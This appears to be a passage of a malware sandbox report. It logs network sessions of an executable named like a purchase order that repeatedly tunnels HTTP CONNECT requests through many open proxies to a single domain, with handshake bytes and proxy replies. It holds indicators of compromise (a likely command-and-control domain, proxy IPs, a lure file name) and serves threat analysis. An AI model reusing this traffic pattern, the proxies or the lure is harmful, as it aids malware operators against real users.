Mar 11, 2024 16:39:43.992604017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.369510889 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.10	49911	39.105.5.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.995162010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.479667902 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:39:44.480267048 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 bf f2 b3 32 14 62 0b 79 11 58 51 46 0b f9 ea c5 ed 42 5b cf 39 6f 4a 1e 36 3c cc 3f ed 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%2byXQFB[9oJ6<?*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.10	49996	162.243.102.207	9764	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.997803926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.10	49970	52.196.1.182	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.005836964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.270978928 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:44.272074938 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 bf 35 06 bc 6b 6a 9f fe 61 fc 95 d0 16 79 ea 72 e9 12 a5 69 5e 08 25 04 f4 7d 60 fd c2 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%5kjayri^%}`*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:44.537838936 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 79 58 1d 39 a5 45 27 cc 50 90 96 2d 87 cc 9e e7 1e 68 5c 05 f8 b2 fb ab 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9yX9E'P-h\DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:44.544897079 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 eb 17 08 c6 63 e1 34 31 ae df 58 fb 91 a0 83 e2 b7 62 b9 e4 9a a0 c8 a9 a9 69 c3 ee da 45 16 4c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b0 a4 d1 f1 d3 ec e2 17 e2 11 09 3f 17 c2 d3 de 02 0b 99 ab 83 Data Ascii: %! c41XbiEL(?x:u,
Mar 11, 2024 16:39:44.808877945 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 c7 e2 d8 f3 8e 1b da 62 6d e8 ef 99 66 80 f8 23 33 97 4c d1 68 9b e9 1e 13 f3 3c 7e 5b a4 9d 4f ba 1e 51 c6 af 88 0d ca Data Ascii: (bmf#3Lh<~[OQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.10	50003	92.204.134.38	28695	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.015607119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.582530022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.301336050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.785990000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.676774025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.676875114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.676798105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.473684072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.991564035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.10	49933	43.131.245.216	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.018017054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.10	50038	104.20.56.71	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.025933981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.180279970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.10	50041	172.67.53.215	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.028588057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.182818890 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.10	49966	51.15.242.202	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.029608011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.676290989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.582566023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.489433050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.787486076 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.10	49968	195.154.172.161	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.033663988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:44.182121992 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.10	49956	218.255.187.60	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.037645102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.707540989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.629511118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.489835024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.286125898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973726034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.607291937 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 16:40:00.607558012 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.10	49937	8.142.132.204	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.039829969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.524785995 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.10	49962	161.97.163.52	55109	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.039900064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.707545042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.645072937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676558971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.489413977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.10	49984	163.172.171.22	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.053483009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.691936016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.568023920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.098764896 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.10	50074	185.238.228.67	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.066843987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
